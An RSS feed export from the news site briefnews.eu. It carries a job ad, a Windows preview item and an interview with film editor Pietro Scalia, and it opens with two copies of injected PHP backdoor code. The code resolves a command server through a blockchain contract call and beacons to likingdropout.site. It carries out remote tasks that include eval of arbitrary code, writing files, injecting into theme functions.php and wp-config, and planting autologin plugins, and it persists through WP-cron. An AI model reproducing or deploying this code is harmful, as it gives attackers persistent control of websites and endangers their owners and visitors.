// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); editor – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 17 Jul 2018 09:07:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png editor – Brief News https://briefnews.eu 32 32 Business Insider is hiring an associate lifestyle editor in London https://briefnews.eu/business-insider-is-hiring-an-associate-lifestyle-editor-in-london/ https://briefnews.eu/business-insider-is-hiring-an-associate-lifestyle-editor-in-london/#respond Tue, 17 Jul 2018 09:07:10 +0000 http://briefnews.eu/business-insider-is-hiring-an-associate-lifestyle-editor-in-london/ Happy woman laptopSebastian Ter Burg/Flickr

We are looking for a confident, experienced, and enthusiastic writer and editor to join our lifestyle team in London.

The right candidate should be able to quickly and confidently write accurate news stories as well as conduct interviews and compose more in-depth features.

See the rest of the story at Business Insider

NOW WATCH: North Korean defector: Kim Jong Un ‘is a terrorist’

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]]> https://briefnews.eu/business-insider-is-hiring-an-associate-lifestyle-editor-in-london/feed/ 0 Microsoft releases new Windows 10 preview with Edge, Fluent, display, and Registry Editor improvements https://briefnews.eu/microsoft-releases-new-windows-10-preview-with-edge-fluent-display-and-registry-editor-improvements/ https://briefnews.eu/microsoft-releases-new-windows-10-preview-with-edge-fluent-display-and-registry-editor-improvements/#respond Sat, 07 Jul 2018 08:16:24 +0000 http://briefnews.eu/microsoft-releases-new-windows-10-preview-with-edge-fluent-display-and-registry-editor-improvements/

Microsoft today released a new preview for PCs with improvements to Edge, Skype, Diagnostic Data Viewer, video, typing insights, font, security, Task Manager, accessibility, container, and mixed reality. This build is from the RS5 branch, which represents the Windows 10 update the company plans to release later this year. Windows 10 is being develo…Read More

]]> https://briefnews.eu/microsoft-releases-new-windows-10-preview-with-edge-fluent-display-and-registry-editor-improvements/feed/ 0 ‘Solo: A Star Wars Story’ Editor Pietro Scalia on the Train Robbery Sequence and Why Chewie is an Editor’s Dream [Interview] https://briefnews.eu/solo-a-star-wars-story-editor-pietro-scalia-on-the-train-robbery-sequence-and-why-chewie-is-an-editors-dream-interview/ https://briefnews.eu/solo-a-star-wars-story-editor-pietro-scalia-on-the-train-robbery-sequence-and-why-chewie-is-an-editors-dream-interview/#respond Sun, 03 Jun 2018 09:54:04 +0000 http://briefnews.eu/solo-a-star-wars-story-editor-pietro-scalia-on-the-train-robbery-sequence-and-why-chewie-is-an-editors-dream-interview/ Pietro Scalia interview

Pietro Scalia‘s fingerprints are all over many, many great films. The Academy-award winning editor’s work on JFK is nothing short of masterful, and the same goes for his several collaborations with Ridley Scott. Throughout his career, Scalia has shown a wide range – he has cut together epic period pieces, documentaries, comic book movies, and dramas like Good Will Hunting. Most recently, he brought his talents to director Ron Howard‘s Solo: A Star Wars Story, which features a train robbery sequence that never loses momentum.

The action scene ranks amongst some of the franchise’s most thrilling action set pieces. Over 10 minutes, Scalia and the filmmakers keep cranking up the energy and suspense with the characters at the forefront of a sequence mammoth in scope.

Scalia recently spoke with us about editing the scene, the movie’s surprise cameo, and how one dramatic scene evolved through reshoots.

You’ve said before you design a scene based on camera movements. How did Ron Howard and [cinematographer] Bradford Young’s choices influence how you cut the movie?

It was great to have a Star Wars film that looked different than other Star Wars films. I really liked the direction that Bradford was going with the look, this greenness of it. He had very specific ideas of how the colors would change from the grunge-y Corellia to the mountains. Later in the Kessel mines: the yellow, the greens. I think that Ron also embraced that. With Ron there, his approach … one of the early scenes that shadows the Kessel mine escape, and it’s a very complex action sequences in terms of moving, I just remember how he described it, how he wanted to have these moving and flowing cameras, and even cameras on wires, handheld, just to create this chaos.

I just interpret the material that I get, but I’m familiar with this kind of documentary feel of the action and completive action, close to something like Black Hawk Down. I like to find, within the chaos and all the coverage that was given, the pieces that sometimes not necessarily were meant to be or are for specific act, to use the dynamic of the camera movement or the choreography of the action, the explosions that happen, just the visual stimulation to give energy, and at the same time build tension, trying to get that.

I get inspired by the material that is presented to me. It was great to have the experience of Ron Howard. I’m very familiar with and loved his films. Even though we never worked together, he was a producer on two films that I did with both American Gangster and Robin Hood. It was great to work with a master like Ron.

One sequence with a lot of chaos and energy is the train robbery sequence, which has a good amount of characters and moving pieces. How long did it take to find the pace and rhythm of that sequence?

Well, the thing is, the train heist sequence, that was one of the longest sequences that was in gestation. I came on the show eight weeks already in production, principal photography and before Ron came on. For me, I was quite behind the eight ball because I didn’t know a lot about the material having been shot, trying to get up to speed. The train sequence, at that stage, was really in the early stages of second unit sequences being shot. Most of the sequence was still in the previs stag, with animation and storyboards, text, with assistants doing the actors lines, very raw. I heard that they had to work on that sequence even before they started shooting, for probably about six or seven months, on the concept.

What happened is that is that we had Chris Rouse, another friend and editor, come in and help out and basically take over at that stage, in terms of shaping the original concepts and changes that were brought in with rewrites and what Ron wanted to do. So the action changes. When you go through these stages, takes time to figure out with storyboards and previous, in order to get to second unit shots. It’s a complex sequence that, when you’re at that stage and have very little time, things need to move very fast with shooting and what elements need to be done.

It was a high pressure cooker. I’m just happy that the initial pass and sorting out was done by Chris Rouse and then when Chris left, I took over and finished it up and restructured. It kept changing throughout the process of editing it. It was a long process. Both those big action sequences, both that and the Kessel one, took a very, very long time. The stress is simply because, with parts of animation, with complexity of visual effects, with the recreation and elements that needed to make it look seamless, it’s just elaborate and complex. At the same time, never forget what the whole point is, just a visually stunning sequence with important characters and always coming back to them.

Like anything, it takes a very long time and you fine-tune and restructure and cut. You wanna have everything but then everything is like 13 minutes long. It just becomes too long. And it’s like, well, what if we cut that? It’s tough because you have to work on many parts at the same time, both the rewrites, the artists creating the storyboards, the visual effects, the second units, units waiting to shooting elements, which way do we go … The editor and the cutting, we have to be on top with trying to give feedback as much as possible, incorporating also the stunts. Figuring out how the stunts are gonna work. It’s quite complex.

Solo: A Star Wars Story Trailer Breakdown

Was there a more dialogue-driven scene, not just a set piece, that evolved quite a bit and took some extra fine-tuning? 

I think one of the critical scenes in the film was really the reunion between Han and Q’ra, when he finds her again on Dryden’s (Paul Bettany) ship. It’s a very delicate point, but also a very critical point in the story. They haven’t seen each other for several years, how do they react to each other?

That scene was shot several times. The first time around, when Chris and Phil were there, there were different actors, different blocking. Ron wanted to do something different and we shot it. It was not so much the performance, it was more about blocking and moving the camera, getting a little bit more of the environment and the party. We also had Paul Bettany come in as a new character, so things changed a lot. So we shot that again. We went back for a pickup and re-shoots and we went back to do a few more lines between the two of them, so we incorporated the first shoot Ron did and the second time around.

It was again about fine-tuning character and the piece, the emotional beats. Because it’s very difficult how … not difficult, just complex emotionally, and delicate in terms of what their reactions would be and how the story progresses from that moment on when they see each other. All the past has been between them, the things that have not said, what has happened. I think from Qi’ra’s character’s standpoint, a very difficult scene, but also for Han. I think that took some time in really fine-tuning surgically to revisit all the material that was shot, the takes, the performances, the pauses, the subtleties between them, the hesitations, the looks. It took some time but it was very, very fine work.

I think, in this particular film, what just crossed my mind is the fact that we deal with large-scale vistas and epic action sequences, but at the same time, we can always bring it back to the minute and emotional state of the characters. I think that particular scene ultimately resonates right for the characters, emotionally.

Mentioning what Phil and Chris shot, what was that experience like working with all that material in addition to Ron Howard’s work and the reshoots? How did they gel together?

It was different. I wouldn’t be mixing and combining, it’s completely different. It’s just that once Ron came on, it changed completely and over 70% of the film was re-shot. At the same time, when I came on, I had to start back from scratch. I was not building on something that was already built. I worked for a few weeks with Chris and Phil. I did start back from the beginning building the scene – the only way I could actually understand the material, no disrespect to who was there before me, the other editor. It was simply that in order to understand how to build it, you need to know the material and you need to start at the base. That is always looking at the takes, the performance, building character, and discovering yourself. It was never a combination of elements. There were certain things that Ron retained from Chris and Phil, full scenes, but it was because of logistics and not being able to go back on location. It was never cross-contaminated.

Ron Howard told us one scene he reshot that he was the Darth Maul reveal. What changed?

Well, the thing is it was … I think it had to do with the surprise and also the dialogue between he and Qi’ra and really what is his presence? And how does it affect what Qi’ra is doing? I think the original scene was a little bit too … I don’t know, it was fine. I think there were certain things that they wanted to change, both dialogue-wise and saying less, and creating a little bit more fear in Qi’ra. There was an element where it was just too simplistic, she easily goes with this villain. I think Ron wanted to get a little bit more depth and layers in the performance that it’s a devil’s pact taking this on. He redid it, both the performances of both actors, because of change of dialogue, and incorporated more complexity in the performance.

I know sometimes you want to reduce the theme of a movie to images. For Solo: A Star Wars Story, what were some of those images you wanted to emphasize to reinforce any of the themes?

I don’t know if there was something like that. I’d have to think about that a little bit. To me, it wasn’t as easy to condense into one theme. I think the one guiding principle, for me, something that I always cared about, was the heart of the story. To me, it’s the friendship between Han Solo and Chewie. It was that: that feeling that I remember from the films that I’ve seen and how, of all the people that Han meets and how lifeless he gets and evolves and becomes ultimately the cynical character that we know, it was really the friendship that to me resonated the most. I wanted to be, emotionally, truthful as much as possible. To me, that was the heart, and I didn’t want to fail on that. When I met Joonas Suotamo, who plays Chewbacca, I told him, just joking, “When in doubt, cut to Chewie.” [Laughs]

[Laughs] That’s a good rule of thumb. 

